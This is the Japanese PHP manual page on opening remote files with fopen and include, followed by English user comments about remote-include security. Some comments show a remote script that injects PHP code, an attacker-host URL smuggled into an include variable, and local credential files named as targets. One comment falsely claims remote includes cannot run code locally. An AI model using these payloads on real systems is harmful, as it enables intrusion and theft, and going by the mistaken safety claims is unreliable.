|
|
第 38章リモートファイルの使用
php.iniでallow_url_fopenを有効にした場合、
ファイル名をパラメータとする関数の多くで
HTTP および FTP のURL
を使用することができます。加えて、include(),
include_once(), require(),
require_once() 命令でURLを使用することができます。
PHPがサポートしているプロトコルに関する詳細は
付録Lを参照してください。
注意:
PHP 4.0.3以前のバージョンにおいては、URLラッパーを使用するために、
configureオプション --enable-url-fopen-wrapper
を使用してPHPをconfigureを行なう必要があります。
例えば、リモートWebサーバーにファイルをオープンし、データを出力、デー
タベースクエリーに使用するか、単にWebサイトのスタイルに合わせて出力
を行うことが可能です。
例 38-1. リモートページのタイトルを得る
<?php
$file = fopen("http://www.php.net/", "r");
if (!$file) {
echo "<p>Unable to open remote file.\n";
exit;
}
while (!feof($file)) {
$line = fgets($file, 1024);
if (eregi("<title>(.*)</title>", $line, $out)) {
$title = $out[1];
break;
}
}
fclose($file);
?>
|
|
(正しいアクセス権限を有するユーザとして接続した場合には)
FTPサーバにファイルを書き込むこともできます。
この方法では、新規ファイルを作成することのみができます。
既存のファイルを上書きしようとした場合には、
fopen()の処理は失敗します。
'anonymous'以外のユーザーで接続を行う場合、URLの中で
'ftp://user:[email protected]/path/to/file' のように
ユーザー名(そして多分パスワードも)指定する必要があります。
(Basic認証を要求された際にHTTP経由でファイルをアクセスする場合と
同じ種類の構文を使用することができます。)
例 38-2. リモートサーバーにデータを保存する
<?php
$file = fopen ("ftp://ftp.example.com/incoming/outputfile", "w");
if (!$file) {
echo "<p>Unable to open remote file for writing.\n";
exit;
}
fputs ($file, $_SERVER['HTTP_USER_AGENT'] . "\n");
fclose ($file);
?>
|
|
注意:
上の例からリモートログに書きこむためにこの手法を使用することを考えるかも
しれません。
しかし残念ながら、リモート上のファイルが既に存在する状態では
fopen()をコールすることができないため、
それはできません。
分散ロギングのようなことを行うには、
syslog() の使用を考えてみて下さい。
heck at fas dot harvard dot edu
17-Sep-2004 02:00
Sorry. My previous post concerned the one at the bottom of the page, not the one just before it.
It is additionally worth noting, of course, that if you include remote files that are not PHP files, they might contain PHP code which would then be executed on your local machine. Or if it is a PHP file, and the remote machine doesn't interpret PHP, then it will be executed on your local machine. Etc.
heck at fas dot harvard dot edu
14-Sep-2004 07:06
The previous post is part right, part wrong. It's part right because it's true that the php script will run on the remote server, if it's capable of interpreting php scripts. You can see this by creating this script on a remote machine:
<?php
echo system("hostname");
?>
Then include that in a php file on your local machine. When you view it in a browser, you'll see the hostname of the remote machine.
However, that does not mean there are no security worries here. Just try replacing the previous script with this one:
<?php
echo "<?php system(\"hostname\"); ?>";
?>
I'm guessing you can figure out what that's gonna do.
So yes, remote includes can be a major security problem.
caruccio at operamail dot com
06-Apr-2004 10:48
Based on function submited from webmaster at elcurriculum dot com, I wrote this little function to retrieve http too. It handle cookies, redirection, send and received headers, POST, GET and HEAD. Here it is (caution, untested code):
<?php
function GetURL($url, $send_header, &$ret_header, $query = array(), $method = "GET")
{
$header = ''; $body = ''; $buffer = ''; $ret_header = array();
$url_stuff = parse_url($url);
if (!isset($url_stuff["path"]))
$url_stuff["path"] = "/";
if (isset($url_stuff["query"]))
$_query = http_build_query($url_stuff["query"]);
if (sizeof($query))
$_query = http_build_query($query);
$fp = fsockopen ($url_stuff['host'], 80, $errno, $errstr, 30);
if ($fp) {
if ($method == "POST") {
$header = "$method $url_stuff[path] HTTP/1.1\r\n";
$header .= "Content-length: " . strlen($_query) . "\r\n";
$header .= "Content-type: application/x-www-form-urlencoded\r\n";
} else {
if (isset($url_stuff['query']))
$header = "$method $url_stuff[path]?$url_stuff[query] HTTP/1.1\r\n";
else
$header = "$method $url_stuff[path] HTTP/1.1\r\n";
}
$header .= "Host: $url_stuff[host]\r\n";
foreach ($send_header as $hname => $hvalue)
$header .= "$hname: $hvalue\r\n";
$header .= "\r\n";
fputs($fp, $header);
if ($method == "POST")
fputs($fp, $_query);
while (!feof($fp))
$buffer .= fgets($fp, 4096);
$ret = strpos($buffer, "\r\n\r\n", 0);
if ($ret == false) {
fclose($fp);
return -1;
}
$header = substr($buffer, 0, $ret); $body = substr($buffer, $ret + 4); $header = str_replace("\r\n" , "\n", $header);
$array_h = explode("\n", $header);
foreach ($array_h as $line => $val) {
if (strpos($val, "HTTP/1") !== 0) {
$h = explode(":", $val);
$v = $h;
$h = $h[0];
array_shift($v); $v = implode(":", $v); $ret_header[$h] = $v;
if (strtolower($h) === "set-cookie")
$send_header['Cookie'] = $v;
} else {
$ret_header['HTTP'] = $val;
$ret_header['HTTP_VERSION'] = substr($val, 5, 3);
$ret_header['HTTP_RETURN'] = substr($val, 9, 3);
$ret_header['HTTP_MESSAGE'] = substr($val, 12);
}
}
if (isset($ret_header['Location'])) {
$body = GetURL($ret_header['Location'], $send_header, $ret_header);
}
fclose ($fp);
}
return $body;
}
?>
Examples:
<?php
echo "TEST REDIRECT\n\n";
$url = ""; $body = GetURL($url, $send_header, $ret_header);
echo '$ret_reader: ';
print_r($ret_header);
echo "\nBody\n=================\n";
echo $body;
echo "\n\nTEST QUERY + HEADERS\n\n";
$url = "";
$send_header = array("Header_1" => "value123", "Header_2" => "value456");
$ret_header = array();
$query = array("q1" => "v1", "q2" => "v2");
$body = GetURL($url, $send_header, $ret_header, $query);
echo '$ret_reader: ';
print_r($ret_header);
echo "\nBody\n=================\n";
echo $body;
echo "\n\nTEST POST + REDIRECT + QUERY\n\n";
$url = "";
$body = GetURL($url, $send_header, $ret_header, $query, "POST");
echo '$ret_reader: ';
print_r($ret_header);
echo "\nBody\n=================\n";
echo $body;
?>
webmaster at elcurriculum dot com
17-Oct-2003 12:35
This function get HTML source from url. Follow all locations to last site. Ideal for Search Engine.
$url = web site to explore.
$delta = last url from location
$corto = if corto is true stop function when the tag is <body>. (This is for get metatags and title).
$complet = if complet is true return all body of page. Else return only $delta. (This is for get redirect from image: <img src=)
<?php
function GetHTML ($url, &$delta, $corto = false, $complet = true) {
$url_stuff = parse_url($url);
$fp = fsockopen ($url_stuff['host'], 80, $errno, $errstr, 30);
if (!$fp) {
exit;
} else {
$header = "GET " . $url_stuff['path'] . "?" . $url_stuff['query'] ;
$header = $header . " HTTP/1.0\r\nHost: " . $url_stuff['host'] . "\r\n\r\n";
fputs ($fp, $header);
$header = '';
$body = '';
$act = false;
$fin = false;
while ((!feof($fp)) && !$fin) {
$line = fgets ($fp,1024);
if (!$act) {
if (strpos($line, "\r\n", 0) == 0) {
$header .= $line;
if (!$complet) $fin = true;
$act = true;
} else {
$header .= $line;
}
} else {
if ($corto) {
if (eregi ("<body([^>]*)>", $line, $o)) $fin = true;
}
if (!$fin) $body = $body . $line;
}
}
$ret = strpos($header, "Location:", 0);
if ($ret !== false) {
$fin = strpos($header, "\r\n", $ret +9);
$nueva = substr($header, $ret+9, $fin - $ret - 9);
$body = GetHTML($nueva, $delta, $corto, $complet);
} else {
$delta = $url;
}
fclose ($fp);
}
return $body;
}
$url = "";
echo GetHTML($url,$a,true);
echo "<br>Go to url: $a";
?>
By Tryke. (Jose Mar�a Rodr�guez Valls).
geoffrey at nevra dot net
05-Aug-2003 12:25
ok, here is the story:
I was trying to download remote images, finding urls throught apache indexs with regexps and fopen()ing them to get the datas. It didn't work. I thought about binary considerations. Putting the 'b' in the second argument of fopen didn't help much, my browser still didn't want to display the images. I finally understood by watching the datas i was getting from the remote host: it was an html page ! hey, i didn't know apache sent html pages when requesting images, did you ?
the right way is then to send an http request via fsockopen. Here comes my second problem, using explode("\n\n", $buffer); to get rid of the headers. The right way is to get the value of the Content-Lenght field and use it in substr($buffer, -$Content-Lenght);
finally, here is my own function to download these files:
<?php
function http_get($url)
{
$url_stuff = parse_url($url);
$port = isset($url_stuff['port']) ? $url_stuff['port'] : 80;
$fp = fsockopen($url_stuff['host'], $port);
$query = 'GET ' . $url_stuff['path'] . " HTTP/1.0\n";
$query .= 'Host: ' . $url_stuff['host'];
$query .= "\n\n";
fwrite($fp, $query);
while ($tmp = fread($fp, 1024))
{
$buffer .= $tmp;
}
preg_match('/Content-Length: ([0-9]+)/', $buffer, $parts);
return substr($buffer, - $parts[1]);
?>
}
ho, maybe you'll say i could have parsed the page to get rid of the html stuff, but i wanted to experience http a little ;)
jules at acris dot co dot uk
10-Jul-2003 03:08
Note that in the last example, you could still request a dodgy file from the local server. For instance, /etc/passwd may allow you to get some encrypted passwords to run a cracking attempt against... /var/lib/mysql/mysql/user.MYD may also be a target for this kind of thing if you run mysql.
robro at compsoc dot nuigalway dot ie dot nospam
14-Jan-2003 02:37
The easiest way I'd see around the security hold mentioned above would be to turn off allow_url_fopen, using ini_set.
If that is not acceptable you can simply str_replace out the :// part that seperates the protocol from the address.
<?php
include( str_replace("://", "", $whatever) );
?>
should do the trick.
php at jerde dot net
06-May-2002 09:22
You must be VERY careful if you allow a variable to control the URL of an include()ed file.
A previous poster suggested:
include("".$HTTP_GET_VARS["url"]);
This, however, won't work in all cases. For example, set the variable to "@www.evil-site.dom/evil-code.phps"
Your carefully constructed pre-URL is now sent merely as a username to the attacker's web site.
Stripping out "@" and ":" would be a good idea, and THEN you'd probably be safe.
- Peter Jerde
Minneapolis, Minnesota, USA
toby at butzon dot com
19-Apr-2002 12:15
It's important to understand that remote files included/required into your script are NOT run on your server (as previous posts have suggested).
Think about it this way: When I do this:
<?php include('); ?>
..I'm actually asking PHP to make a separate HTTP request (just as your Web browser would) to www.example.com. So, point your browser to that location. Do you see any PHP code? No. You will only see HTML/text content.
(On the off chance that .php wasn't associated with the PHP module/binary, the code would only be displayed. Thus, you would have to TRY to make a dangerous include scenario -- such as eval()'ing a remoted included file specified by the user.)
Therefore, although this code may be vulnerable to an "untrustworthy information" attack (where the information displayed by your Web site isn't actually information you endorse, even though the information is ultimately transferred from your Web server), you are NOT vulnerable to malicious access to your Web server resources, even if visitors can specify any remote server/file that they please.
| |